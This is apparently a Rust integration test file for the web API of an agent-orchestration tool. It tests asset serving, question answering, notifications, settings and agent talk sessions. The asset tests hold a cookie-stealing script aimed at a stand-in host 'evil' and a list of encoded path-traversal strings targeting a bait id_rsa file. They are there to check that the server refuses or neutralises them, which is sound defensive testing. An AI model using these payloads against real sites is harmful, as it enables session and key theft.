7107 async fn an_html_asset_is_never_served_as_html() {
7108 let fx = Fixture::start().await;
7109 let id = panel(
7110 &fx,
7111 "<p>see the notes</p>",
7112 &[
7113 (
7114 "notes.html",
7115 b"<script>fetch('http://evil/'+document.cookie)</script>",
7116 ),
7117 ("hook.js", b"fetch('http://evil/')"),
7118 ("data.json", b"{}"),
7119 ("HEADLINE.TXT", b"plain"),
7120 ],
7121 );
7122
7123 for name in ["notes.html", "hook.js", "data.json"] {
7124 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7125 assert_eq!(res.status, 200, "{name}: {}", res.body);
7126 assert_eq!(
7131 res.header("content-type"),
7132 Some("application/octet-stream"),
7133 "{name} must not be a type the browser will execute or render"
7134 );
7135 }
7136 let txt = fx
7139 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7140 .await;
7141 assert_eq!(
7142 txt.header("content-type"),
7143 Some("text/plain; charset=utf-8")
7144 );
7145 }
7146
7147 #[tokio::test]
7148 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7149 let fx = Fixture::start().await;
7150 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7151 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7155
7156 for encoded in [
7163 "%2e%2e%2fid_rsa",
7164 "..%2fid_rsa",
7165 "..%5cid_rsa",
7166 "%2e%2e%5cid_rsa",
7167 "diff%00.svg",
7168 "..",
7169 ".hidden",
7170 "%2e%2e%2f%2e%2e%2fid_rsa",
7171 ] {
7172 let res = fx
7173 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7174 .await;
7175 assert_eq!(
7176 res.status, 400,
7177 "`{encoded}` has to be refused by name, not looked up: {}",
7178 res.body
7179 );
7180 assert!(res.json()["error"].is_string(), "{}", res.body);
7181 }
7182
7183 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7189 let res = fx
7190 .get(&format!("/api/questions/{id}/asset/{literal}"))
7191 .await;
7192 assert_eq!(
7193 res.status, 404,
7194 "`{literal}` must not match the asset route at all: {}",
7195 res.body
7196 );
7197 }
7198 }
7199
7200 #[tokio::test]
7201 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7202 let fx = Fixture::start().await;
7203 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7204 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7205
7206 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7210 assert_eq!(none.status, 404, "{}", none.body);
7211 assert!(none.json()["error"].is_string(), "{}", none.body);
7212 assert_eq!(
7213 fx.head(&format!("/api/questions/{plain}/panel"))
7214 .await
7215 .status,
7216 404,
7217 "the preflight is the only way the client can learn this"
7218 );
7219
7220 let missing = fx
7222 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7223 .await;
7224 assert_eq!(missing.status, 404, "{}", missing.body);
7225 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7226
7227 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7229 assert_eq!(
7230 fx.get("/api/questions/nope/asset/diff.svg").await.status,
7231 404
7232 );
7233 }
7234
7235 #[tokio::test]
7236 async fn a_run_with_an_open_question_reads_as_waiting() {
7237 let fx = Fixture::start().await;
7238 let run = "20260902-000000-beef".to_owned();
7239 write_run(&fx.runs(), &run, RunStatus::Implementing);
7240
7241 let before = fx.get("/api/runs").await.json();
7242 assert_eq!(before[0]["waiting"], false, "{before}");
7243
7244 let store = fx.questions();
7245 let mut q = Question::new(
7246 run.clone(),
7247 "implement".to_owned(),
7248 "impl-A".to_owned(),
7249 "Which backend?".to_owned(),
7250 String::new(),
7251 vec!["SQLite".to_owned()],
7252 );
7253 store.put(&mut q).expect("put");
7254
7255 let during = fx.get("/api/runs").await.json();
7256 assert_eq!(during[0]["waiting"], true, "{during}");
7257
7258 q.answer(Answer::Choice("SQLite".to_owned()))
7261 .expect("answer");
7262 store.put(&mut q).expect("put");
7263 let after = fx.get("/api/runs").await.json();
7264 assert_eq!(after[0]["waiting"], false, "{after}");
7265 }
7266
7267 #[tokio::test]
7268 async fn an_open_question_is_listed_and_counted_by_health() {
7269 let fx = Fixture::start().await;
7270 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7271
7272 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7273 let listed = fx.get("/api/questions").await.json();
7274 assert_eq!(listed.as_array().expect("array").len(), 1);
7275 assert_eq!(listed[0]["id"], id);
7276 assert_eq!(listed[0]["status"], "open");
7277 assert_eq!(listed[0]["choices"][1], "Redis");
7278 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7281 }
7282
7283 #[tokio::test]
7284 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7285 let fx = Fixture::start().await;
7286 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7287 let path = format!("/api/questions/{id}/answer");
7288
7289 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7290 assert_eq!(res.status, 200, "{}", res.body);
7291 let body = res.json();
7292 assert_eq!(body["status"], "answered");
7293 assert_eq!(body["answer"]["choice"], "Redis");
7294
7295 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7299 assert_eq!(again.status, 409, "{}", again.body);
7300 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7301 }
7302
7303 #[tokio::test]
7304 async fn saying_something_appends_a_turn_without_answering() {
7305 let fx = Fixture::start().await;
7306 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7307 let path = format!("/api/questions/{id}/say");
7308
7309 let res = fx
7310 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7311 .await;
7312 assert_eq!(res.status, 200, "{}", res.body);
7313 let body = res.json();
7314 assert_eq!(body["status"], "open", "talking back is not a decision");
7315 assert_eq!(body["answer"], Value::Null);
7316 assert_eq!(body["thread"][0]["who"], "operator");
7317 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7318 assert_eq!(body["waiting_on_agent"], true);
7319 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7321 }
7322
7323 #[tokio::test]
7324 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7325 let fx = Fixture::start().await;
7326 let store = fx.questions();
7327 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7328 assert_eq!(
7329 fx.get("/api/health").await.json()["questions_needs_owner"],
7330 1
7331 );
7332
7333 let res = fx
7339 .post(
7340 &format!("/api/questions/{id}/say"),
7341 Some(r#"{"body":"why not Postgres?"}"#),
7342 )
7343 .await;
7344 assert_eq!(res.status, 200, "{}", res.body);
7345 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7346 assert_eq!(
7347 fx.get("/api/health").await.json()["questions_needs_owner"],
7348 0,
7349 "waiting on the agent is not waiting on the owner"
7350 );
7351
7352 let mut q = store.get(&id).expect("get");
7356 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
7357 .expect("reply");
7358 store.put(&mut q).expect("put");
7359 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7360 assert_eq!(
7361 fx.get("/api/health").await.json()["questions_needs_owner"],
7362 1,
7363 "the agent's reply is what should light the banner back up"
7364 );
7365 }
7366
7367 #[tokio::test]
7368 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
7369 let fx = Fixture::start().await;
7370 let store = fx.questions();
7371
7372 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7373 let res = fx
7374 .post(
7375 &format!("/api/questions/{empty_id}/say"),
7376 Some(r#"{"body":" "}"#),
7377 )
7378 .await;
7379 assert_eq!(res.status, 400, "{}", res.body);
7380
7381 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7382 let mut answered = store.get(&answered_id).expect("get");
7383 answered
7384 .answer(Answer::Choice("SQLite".to_owned()))
7385 .expect("answer");
7386 store.put(&mut answered).expect("put");
7387 let res = fx
7388 .post(
7389 &format!("/api/questions/{answered_id}/say"),
7390 Some(r#"{"body":"still there?"}"#),
7391 )
7392 .await;
7393 assert_eq!(res.status, 409, "{}", res.body);
7394
7395 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7396 let mut abandoned = store.get(&abandoned_id).expect("get");
7397 abandoned.abandon("timed out");
7398 store.put(&mut abandoned).expect("put");
7399 let res = fx
7400 .post(
7401 &format!("/api/questions/{abandoned_id}/say"),
7402 Some(r#"{"body":"still there?"}"#),
7403 )
7404 .await;
7405 assert_eq!(res.status, 409, "{}", res.body);
7406 }
7407
7408 #[tokio::test]
7409 async fn an_answer_the_question_does_not_offer_is_refused() {
7410 let fx = Fixture::start().await;
7411 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7412 let path = format!("/api/questions/{id}/answer");
7413
7414 for body in [
7415 r#"{"choice":"Postgres"}"#,
7416 r#"{"text":"whatever you think"}"#,
7417 r#"{"choice":"Redis","text":"both"}"#,
7418 r#"{}"#,
7419 ] {
7420 let res = fx.post(&path, Some(body)).await;
7421 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
7422 assert!(res.json()["error"].is_string(), "{}", res.body);
7423 }
7424 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7426 }
7427
7428 #[tokio::test]
7429 async fn a_free_text_question_takes_text_and_not_a_choice() {
7430 let fx = Fixture::start().await;
7431 let id = ask(&fx, "What should the flag be called?", &[]);
7432 let path = format!("/api/questions/{id}/answer");
7433
7434 assert_eq!(
7435 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
7436 400
7437 );
7438 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
7439 assert_eq!(res.status, 200, "{}", res.body);
7440 assert_eq!(res.json()["answer"]["text"], "--json");
7441 }
7442
7443 #[tokio::test]
7444 async fn an_unknown_question_is_a_json_404() {
7445 let fx = Fixture::start().await;
7446 let res = fx
7447 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
7448 .await;
7449 assert_eq!(res.status, 404, "{}", res.body);
7450 assert!(res.json()["error"].is_string());
7451 }
7452
7453 #[tokio::test]
7454 async fn notifications_list_read_dismiss_and_health_agree() {
7455 let fx = Fixture::start().await;
7456 let store = Notices::at(fx.home.path().join("notifications"));
7457 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
7458 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
7459
7460 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
7461 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
7462
7463 let health = fx.get("/api/health").await.json();
7464 assert_eq!(health["notifications_unread"], 2);
7465 assert_ne!(
7466 health["notifications_rev"], rev0,
7467 "the badge must move live"
7468 );
7469
7470 let listed = fx.get("/api/notifications").await.json();
7471 assert_eq!(listed["unread"], 2);
7472 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
7473 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
7474
7475 let read = fx
7476 .post(&format!("/api/notifications/{}/read", a.id), None)
7477 .await;
7478 assert_eq!(read.status, 200, "{}", read.body);
7479 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
7480
7481 let gone = fx
7482 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
7483 .await;
7484 assert_eq!(gone.status, 200, "{}", gone.body);
7485 let listed = fx.get("/api/notifications").await.json();
7486 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
7487 assert_eq!(listed["unread"], 0);
7488
7489 store.raise(Notice::info("x", "again")).unwrap();
7490 let all = fx.post("/api/notifications/read-all", None).await;
7491 assert_eq!(all.status, 200, "{}", all.body);
7492 assert_eq!(all.json()["marked"], 1);
7493 assert_eq!(
7494 fx.get("/api/health").await.json()["notifications_unread"],
7495 0
7496 );
7497
7498 let missing = fx.post("/api/notifications/nope/read", None).await;
7499 assert_eq!(missing.status, 404, "{}", missing.body);
7500 assert!(missing.json()["error"].is_string());
7501 }
7502
7503 #[tokio::test]
7510 async fn a_task_cannot_be_filed_over_the_phone_directly() {
7511 let f = Fixture::start().await;
7512
7513 let res = f
7514 .post(
7515 "/api/queue",
7516 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
7517 )
7518 .await;
7519
7520 assert_eq!(
7521 res.status, 405,
7522 "POST /api/queue must not be a route: {}",
7523 res.body
7524 );
7525 assert!(
7526 f.queue().list().is_empty(),
7527 "a task filed by a route that does not exist must not reach the disk"
7528 );
7529 assert_eq!(f.get("/api/queue").await.status, 200);
7532 }
7533
7534 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
7536 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
7537 .expect("checkout dir");
7538 }
7539
7540 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
7542
7543 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
7544 let tmp = TempDir::new().expect("tempdir");
7545 let repo = tmp.path().join("repo");
7546 std::fs::create_dir_all(&repo).expect("repo dir");
7547 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
7548 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
7549 if let Some(text) = machine_toml {
7550 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
7551 std::fs::write(&machine, text).expect("machine toml");
7552 }
7553 (tmp, repo, machine)
7554 }
7555
7556 #[tokio::test]
7557 async fn settings_get_reports_sources_and_the_advisors_fallback() {
7558 let (_tmp, repo, machine) =
7559 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
7560 let f = Fixture::with_repo_and_machine(repo, machine).await;
7561 let res = f.get("/api/settings").await;
7562 assert_eq!(res.status, 200, "{}", res.body);
7563 let v = res.json();
7564 assert!(v["error"].is_null(), "{v}");
7565 let role = |k: &str| {
7566 v["roles"]
7567 .as_array()
7568 .and_then(|r| r.iter().find(|x| x["key"] == k))
7569 .cloned()
7570 .unwrap_or_else(|| panic!("no role {k}: {v}"))
7571 };
7572 assert_eq!(role("judges")["source"], "machine");
7573 assert_eq!(role("judges")["editable"], true);
7574 assert_eq!(role("implementers")["source"], "default");
7575 let adv = role("advisors");
7576 assert_eq!(adv["fallback"], "judges");
7577 assert!(
7578 adv["seats"]
7579 .as_array()
7580 .is_some_and(|s| s.iter().all(|x| x == "b")),
7581 "{adv}"
7582 );
7583 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
7584 assert_eq!(v["agents"][0]["source"], "repo");
7585 }
7586
7587 #[tokio::test]
7588 async fn settings_get_reports_a_config_that_does_not_parse() {
7589 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
7590 let f = Fixture::with_repo_and_machine(repo, machine).await;
7591 let res = f.get("/api/settings").await;
7592 assert_eq!(res.status, 200, "{}", res.body);
7593 let v = res.json();
7594 assert!(v["error"]["message"].is_string(), "{v}");
7595 assert!(
7596 v["error"]["path"]
7597 .as_str()
7598 .is_some_and(|p| p.ends_with("magi.toml")),
7599 "{v}"
7600 );
7601 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
7602 }
7603
7604 #[tokio::test]
7605 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
7606 let (_tmp, repo, machine) = settings_dirs(
7607 SETTINGS_AGENTS,
7608 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
7609 );
7610 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
7611 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
7612 let rev = f.get("/api/settings").await.json()["revision"]
7613 .as_str()
7614 .expect("revision")
7615 .to_owned();
7616 let body = serde_json::json!({
7617 "revision": rev,
7618 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
7619 })
7620 .to_string();
7621 let res = f.put("/api/settings/roles", &body).await;
7622 assert_eq!(res.status, 200, "{}", res.body);
7623 let text = std::fs::read_to_string(&machine).expect("machine");
7624 assert_eq!(
7625 text,
7626 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
7627 );
7628 assert_eq!(
7629 std::fs::read(repo.join("magi.toml")).expect("read"),
7630 repo_before
7631 );
7632 let again = f.get("/api/settings").await.json();
7633 let judges = again["roles"]
7634 .as_array()
7635 .expect("roles")
7636 .iter()
7637 .find(|r| r["key"] == "judges")
7638 .expect("judges")
7639 .clone();
7640 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
7641 let stale = f.put("/api/settings/roles", &body).await;
7643 assert_eq!(stale.status, 409, "{}", stale.body);
7644 }
7645
7646 #[tokio::test]
7647 async fn settings_put_refuses_without_touching_the_file() {
7648 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
7649 let (_tmp, repo, machine) = settings_dirs(
7650 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
7651 Some(machine_text),
7652 );
7653 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
7654 let rev = f.get("/api/settings").await.json()["revision"]
7655 .as_str()
7656 .expect("revision")
7657 .to_owned();
7658 for roles in [
7659 serde_json::json!({ "judges": ["nope"] }),
7660 serde_json::json!({ "reviewers": ["b"] }),
7661 serde_json::json!({ "bogus": ["a"] }),
7662 ] {
7663 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
7664 let res = f.put("/api/settings/roles", &body).await;
7665 assert_eq!(res.status, 422, "{roles}: {}", res.body);
7666 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
7667 assert_eq!(
7668 std::fs::read_to_string(&machine).expect("machine"),
7669 machine_text
7670 );
7671 }
7672 }
7673
7674 #[tokio::test]
7675 async fn repos_list_returns_name_and_path_for_every_configured_root() {
7676 let tmp = TempDir::new().expect("tempdir");
7677 let repo = tmp.path().join("repo");
7678 std::fs::create_dir_all(&repo).expect("repo dir");
7679 let root = tmp.path().join("root");
7680 make_checkout(&root, "github.com", "yukimemi", "magi");
7681 std::fs::write(
7682 repo.join("magi.toml"),
7683 format!(
7684 "[repos]\nroots = [{:?}]\n",
7685 root.to_string_lossy().into_owned()
7686 ),
7687 )
7688 .expect("write magi.toml");
7689
7690 let f = Fixture::with_repo(repo).await;
7691 let res = f.get("/api/repos").await;
7692 assert_eq!(res.status, 200, "{}", res.body);
7693 let list = res.json();
7694 let repos = list.as_array().expect("an array");
7695 assert_eq!(repos.len(), 1);
7696 assert_eq!(repos[0]["name"], "yukimemi/magi");
7697 assert!(
7698 repos[0]["path"]
7699 .as_str()
7700 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
7701 "{list}"
7702 );
7703 }
7704
7705 #[tokio::test]
7706 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
7707 let tmp = TempDir::new().expect("tempdir");
7708 let repo = tmp.path().join("repo");
7709 std::fs::create_dir_all(&repo).expect("repo dir");
7710 let root = tmp.path().join("root");
7711 make_checkout(&root, "github.com", "yukimemi", "magi");
7712 std::fs::write(
7713 repo.join("magi.toml"),
7714 format!(
7715 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
7716 root.to_string_lossy().into_owned()
7717 ),
7718 )
7719 .expect("write magi.toml");
7720
7721 let f = Fixture::with_repo(repo).await;
7722 let first = f.get("/api/repos").await;
7723 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
7724
7725 make_checkout(&root, "github.com", "yukimemi", "rvpm");
7728 let second = f.get("/api/repos").await;
7729 assert_eq!(
7730 second.json().as_array().map(Vec::len),
7731 Some(1),
7732 "a fresh cache must not rescan inside the TTL"
7733 );
7734
7735 let refreshed = f.get("/api/repos?refresh=1").await;
7736 assert_eq!(
7737 refreshed.json().as_array().map(Vec::len),
7738 Some(2),
7739 "an explicit refresh must rescan even inside the TTL"
7740 );
7741 }
7742
7743 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
7749
7750 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
7754 let tmp = TempDir::new().expect("tempdir");
7755 let repo = tmp.path().join("repo");
7756 std::fs::create_dir_all(&repo).expect("repo dir");
7757 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7758 let f = Fixture::with_repo(repo.clone()).await;
7759 (tmp, repo, f)
7760 }
7761
7762 #[tokio::test]
7763 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
7764 let (_tmp, _repo, f) = talk_fixture().await;
7765
7766 let opened = f.post("/api/talks", None).await;
7769 assert_eq!(opened.status, 201, "{}", opened.body);
7770 let body = opened.json();
7771 assert_eq!(body["status"], "open");
7772 assert_eq!(
7773 body["turns"].as_array().unwrap().len(),
7774 0,
7775 "opening takes no agent turn: there is nothing yet to answer"
7776 );
7777
7778 let also_opened = f.post("/api/talks", Some("{}")).await;
7780 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
7781
7782 let listed = f.get("/api/talks").await.json();
7783 assert_eq!(listed.as_array().unwrap().len(), 2);
7784 }
7785
7786 #[tokio::test]
7787 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
7788 let tmp = TempDir::new().expect("tempdir");
7789 let repo = tmp.path().join("repo");
7790 std::fs::create_dir_all(&repo).expect("repo dir");
7791 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
7792 std::fs::write(
7793 repo.join("magi.toml"),
7794 format!("{MOCK_AGENT_TOML}\n{second}"),
7795 )
7796 .expect("write magi.toml");
7797 let home = TempDir::new().expect("temp home");
7798 let talks = Talks::at(home.path().join("talks"));
7799 let ui = Arc::new(
7800 Ui::new(
7801 Queue::at(home.path().join("queue")),
7802 Questions::at(home.path().join("questions")),
7803 talks.clone(),
7804 home.path().join("runs"),
7805 home.path().to_path_buf(),
7806 repo.clone(),
7807 )
7808 .with_worktrees_root(home.path().join("wt")),
7809 );
7810 let cfg = config_for(&repo).await.expect("discover config");
7811 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
7812 let id = talk.id.clone();
7813 let call = |agent: &str| {
7814 talk_agent(
7815 State(Arc::clone(&ui)),
7816 Path(id.clone()),
7817 Json(TalkAgent {
7818 agent: agent.to_owned(),
7819 }),
7820 )
7821 };
7822
7823 let unknown = call("nobody").await.expect_err("unknown agent");
7824 assert_eq!(
7825 unknown.status,
7826 StatusCode::BAD_REQUEST,
7827 "{}",
7828 unknown.message
7829 );
7830
7831 {
7832 let mut claimed = None;
7835 for _ in 0..200 {
7836 claimed = ui.begin_talk_turn(&id).expect("claim");
7837 if claimed.is_some() {
7838 break;
7839 }
7840 tokio::time::sleep(Duration::from_millis(10)).await;
7841 }
7842 let _busy = claimed.expect("free");
7843 let busy = call("second").await.expect_err("busy talk");
7844 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
7845 }
7846 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
7847
7848 let Json(view) = call("second").await.expect("switch");
7849 assert_eq!(view.talk.agent, "second");
7850 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
7851 let saved = talks.get(&id).expect("reload");
7852 assert_eq!(saved.agent, "second");
7853 assert_eq!(saved.turns.len(), 1);
7854
7855 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
7856 .await
7857 .expect("detail");
7858 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
7859 assert_eq!(roster, ["mock", "second"]);
7860
7861 let mut closed = talks.get(&id).expect("reload");
7862 talk::close(&mut closed, &talks).expect("close");
7863 let refused = call("mock").await.expect_err("closed talk");
7864 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
7865 }
7866
7867 #[tokio::test]
7868 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
7869 let f = Fixture::start().await;
7870 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
7871 let queue = f.queue();
7872 let mut mine = Task::new(
7873 "rename the loader".to_owned(),
7874 "rename the loader".to_owned(),
7875 PathBuf::from("/repo/magi"),
7876 Source::Agent {
7877 run: talk_id.clone(),
7878 node: "chat".to_owned(),
7879 },
7880 );
7881 queue.put(&mut mine).expect("file the task");
7882 let mut theirs = Task::new(
7883 "unrelated".to_owned(),
7884 "unrelated".to_owned(),
7885 PathBuf::from("/repo/magi"),
7886 Source::Human,
7887 );
7888 queue.put(&mut theirs).expect("file the task");
7889
7890 let res = f.get(&format!("/api/talks/{talk_id}")).await;
7891 assert_eq!(res.status, 200, "{}", res.body);
7892 let body = res.json();
7893 assert_eq!(
7894 body["status"], "open",
7895 "filing a task does not close a talk"
7896 );
7897 let tasks = body["tasks"].as_array().expect("tasks array");
7898 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
7899 assert_eq!(tasks[0]["id"], mine.id);
7900 }
7901
7902 #[tokio::test]
7903 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
7904 let (_tmp, _repo, f) = talk_fixture().await;
7905 let id = f.post("/api/talks", None).await.json()["id"]
7906 .as_str()
7907 .expect("id")
7908 .to_owned();
7909
7910 let res = f
7911 .post(
7912 &format!("/api/talks/{id}/say"),
7913 Some(r#"{"text":"what does the queue module do?"}"#),
7914 )
7915 .await;
7916 assert_eq!(res.status, 202, "{}", res.body);
7917 let queued = res.json();
7918 let turns = queued["turns"].as_array().expect("turns array");
7919 assert_eq!(
7920 turns.len(),
7921 1,
7922 "the answer reflects only what is on disk the instant it is sent, \
7923 before the agent's turn - which can run for the whole of \
7924 `[graph] timeout_talk` - has a chance to land: {queued}"
7925 );
7926 assert_eq!(turns[0]["who"], "operator");
7927 assert_eq!(turns[0]["body"], "what does the queue module do?");
7928 assert_eq!(
7929 queued["thinking"], true,
7930 "the accepted response exposes the background turn claim: {queued}"
7931 );
7932
7933 let mut turns_after = 1;
7934 for _ in 0..SETTLE_STEPS {
7935 let detail = f.get(&format!("/api/talks/{id}")).await.json();
7936 turns_after = detail["turns"].as_array().expect("turns array").len();
7937 if turns_after == 2 {
7938 break;
7939 }
7940 tokio::time::sleep(Duration::from_millis(10)).await;
7941 }
7942 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
7943 }
7944
7945 #[tokio::test]
7972 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
7973 let tmp = TempDir::new().expect("tempdir");
7974 let repo = tmp.path().join("repo");
7975 std::fs::create_dir_all(&repo).expect("repo dir");
7976 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7977 let home = TempDir::new().expect("temp home");
7978 let talks = Talks::at(home.path().join("talks"));
7979 let ui = Arc::new(
7980 Ui::new(
7981 Queue::at(home.path().join("queue")),
7982 Questions::at(home.path().join("questions")),
7983 talks.clone(),
7984 home.path().join("runs"),
7985 home.path().to_path_buf(),
7986 repo.clone(),
7987 )
7988 .with_worktrees_root(home.path().join("wt")),
7989 );
7990 let cfg = config_for(&repo).await.expect("discover config");
7991
7992 for delay in 0..40u32 {
7993 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
7994 let id = talk.id.clone();
7995
7996 let handler = tokio::spawn(talk_say(
7997 State(Arc::clone(&ui)),
7998 Path(id.clone()),
7999 Ok(Json(NewTalkTurn {
8000 text: "what does the queue module do?".to_owned(),
8001 attachments: Vec::new(),
8002 })),
8003 ));
8004 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8005 handler.abort();
8006 let _ = handler.await;
8009
8010 let mut turns = 0;
8011 for _ in 0..SETTLE_STEPS {
8012 if let Ok(fresh) = talks.get(&id) {
8013 turns = fresh.turns.len();
8014 if turns != 1 {
8015 break;
8016 }
8017 }
8018 tokio::time::sleep(Duration::from_millis(10)).await;
8019 }
8020 assert_ne!(
8021 turns, 1,
8022 "delay {delay}: talk {id} recorded the operator's turn but \
8023 the agent never answered - the reply task was never \
8024 started after the handler future was dropped"
8025 );
8026 }
8027 }
8028
8029 #[tokio::test]
8074 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
8075 let tmp = TempDir::new().expect("tempdir");
8076 let repo = tmp.path().join("repo");
8077 std::fs::create_dir_all(&repo).expect("repo dir");
8078 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8079 let home = TempDir::new().expect("temp home");
8080 let talks = Talks::at(home.path().join("talks"));
8081 let ui = Arc::new(
8082 Ui::new(
8083 Queue::at(home.path().join("queue")),
8084 Questions::at(home.path().join("questions")),
8085 talks.clone(),
8086 home.path().join("runs"),
8087 home.path().to_path_buf(),
8088 repo.clone(),
8089 )
8090 .with_worktrees_root(home.path().join("wt")),
8091 );
8092 let cfg = config_for(&repo).await.expect("discover config");
8093
8094 for attempt in 0..3u32 {
8095 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8096 let id = talk.id.clone();
8097 let turn_guard = ui
8100 .begin_talk_turn(&id)
8101 .expect("claim the turn")
8102 .expect("a fresh talk owes nobody a turn");
8103
8104 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8105 let (release_tx, release_rx) = std::sync::mpsc::channel();
8106 ui.set_busy_queue_gate(BusyQueueGate {
8107 reached: reached_tx,
8108 release: release_rx,
8109 });
8110
8111 let handler = tokio::spawn(talk_say(
8112 State(Arc::clone(&ui)),
8113 Path(id.clone()),
